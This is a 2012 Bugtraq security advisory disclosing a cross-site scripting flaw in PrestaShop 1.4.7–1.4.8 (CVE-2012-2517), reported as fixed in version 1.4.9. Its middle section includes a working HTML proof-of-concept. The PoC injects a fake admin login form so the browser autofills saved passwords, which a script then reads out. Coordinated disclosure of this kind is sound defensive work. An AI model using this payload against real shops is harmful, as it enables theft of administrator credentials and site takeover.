[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
XSS in PrestaShop
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: XSS in PrestaShop
- From: advisory@xxxxxxxxxxxx
- Date: Wed, 29 Aug 2012 13:54:37 +0200 (CEST)
Advisory ID: HTB23091
Product: PrestaShop
Vendor: PrestaShop, Inc.
Vulnerable Version(s): 1.4.7, 1.4.8 and probably prior
Tested Version: 1.4.7, 1.4.8
Vendor Notification: May 9, 2012
Public Disclosure: August 29, 2012
Vulnerability Type: Cross-Site Scripting [CWE-79]
CVE Reference: CVE-2012-2517
CVSSv2 Base Score: 2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
Solution Status: Fixed by Vendor
Risk Level: Low
Discovered and Provided: High-Tech Bridge Security Research Lab (
https://www.htbridge.com/advisory/ )
-----------------------------------------------------------------------------------------------
Advisory Details:
High-Tech Bridge SA Security Research Lab has discovered vulnerability in
PrestaShop, which can be exploited to perform Cross-Site Scripting (XSS)
attacks.
1) Cross-Site Scripting (XSS) in PrestaShop
Input passed via the "product" POST parameter to ajax.php is not properly
sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in
administrator's browser session in context of an affected website.
PrestaShop sets cookies with http-only flag, therefore classic XSS exploitation
designed to steal cookies will not work. The following PoC code steals
passwords stored in Firefox ("remember password" function) profile:
<form action="http://[host]/[ADMIN_PANEL]/ajax.php" method="post">
<input type="hidden" name="ajaxProductsPositions" value='' />
<input type="hidden" name="id_product" value='1' />
<input type="hidden" name="id_category" value='1' />
<input type="hidden" name='product[<form action="/[ADMIN_PANEL]/login.php"
method="post"><input type="text" id="email" name="email" value=""
class="input"/><input id="passwd" type="password" name="passwd" class="input"
value=""/></form><script>function hackfunc() { alert("Your Login:
"+document.getElementById("email").value+"\nYour Password:
"+document.getElementById("passwd").value); } setTimeout("hackfunc()",
1000);</script>]' value='1_1_1' />
<input type="submit" id="btn">
</form>
This PoC was successfully tested on Firefox 12.0 in default configuration, with
one saved password.
Other attack scenarios that do not involve cookies disclosure are also possible.
-----------------------------------------------------------------------------------------------
Solution:
Upgrade to PrestaShop v1.4.9
More Information:
http://www.prestashop.com/blog/en/upgrade-your-online-store-to-prestashop-v1-4-9/
http://www.prestashop.com/en/download
-----------------------------------------------------------------------------------------------
References:
[1] High-Tech Bridge Advisory HTB23091 -
https://www.htbridge.com/advisory/HTB23091 - XSS in PrestaShop.
[2] PrestaShop - http://www.prestashop.com/ - PrestaShop is a secure and fully
customizable Open-source e-commerce software.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ -
international in scope and free for public use, CVE® is a dictionary of
publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to
developers and security practitioners, CWE is a formal list of software
weakness types.
-----------------------------------------------------------------------------------------------
Disclaimer: The information provided in this Advisory is provided "as is" and
without any warranty of any kind. Details of this Advisory may be updated in
order to provide as accurate information as possible. The latest version of the
Advisory is available on web page [1] in the References.